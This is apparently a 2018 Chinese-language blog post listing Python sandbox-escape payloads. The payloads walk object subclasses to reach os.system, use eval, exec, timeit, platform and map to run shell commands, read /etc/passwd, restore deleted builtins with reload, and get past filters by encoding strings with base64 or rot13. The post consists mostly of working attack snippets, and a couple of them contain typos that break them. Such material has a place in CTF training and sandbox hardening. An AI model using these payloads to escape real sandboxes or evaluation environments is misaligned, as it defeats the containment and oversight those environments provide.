Python_Sandbox_Bypass

0x01 基础

关于python沙箱逃逸的基础之前的博文写过,如果有不会的可以去看看 点我

0x02 Python Sandbox

一般的沙箱会使用

1
del __builtins__.__dict__[func]

这种方式来删掉敏感的模块或者函数

0x03 常规的内联函数获取方法

1
2
[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].system('whoami') //执行任意命令
[].classes__.__base__.__subclasses__()[40]('flag.txt').read() //读取文件

0x04 Bypass Function

  • timeit

    1
    2
    import timeit
    timeit.timeit("__import__('os').system('ls')",number=1)
  • eval

    1
    eval("__import__('os').system('whoami')")
  • exec

    1
    2
    exec("__import__('os').system('whoami')")
    exec "__import__('os').system('whoami')"
  • platform

    1
    2
    platform.os.system('whoami')
    platform.popen('whoami').read()
  • execfile

    1
    2
    execfile('/usr/lib/python2.7/os.py') //相当于from os import *
    system('whoami')
  • file,open

    1
    2
    file('/etc/passwd').read()
    open('/etc/passwd').read()
  • map

    1
    2
    import os
    map(os.system,['whoami']) //需要import模块

0x05 Bypass

  • reload方法

当del了内建模块的时候可以看看reload有没有被过滤,如果没过滤

1
reload(__builtins__)

  • 寻找替代函数

可以用之前的0x03 常规的内联函数获取方法找到替代方法

  • 字符加密

可以使用base64、rot-13这种可以可以加解密的方法绕过固定的过滤
当然字符串拼接也是可以的

  • 如果是module类型,可以使用 dict .key()来获取方法名

  • 可以使用dir(builtins)查看有哪些内置函数可以使用

  • 不需要globals的payload

    1
    ].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('whoami')

本文标题:Python_Sandbox_Bypass

文章作者:Pino-HD

发布时间:2018年06月05日 - 15:06

最后更新:2018年06月10日 - 15:06

原始链接:https://pino-hd.github.io/2018/06/05/Python-Sandbox-Bypass/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创技术分享,您的支持将鼓励我继续创作!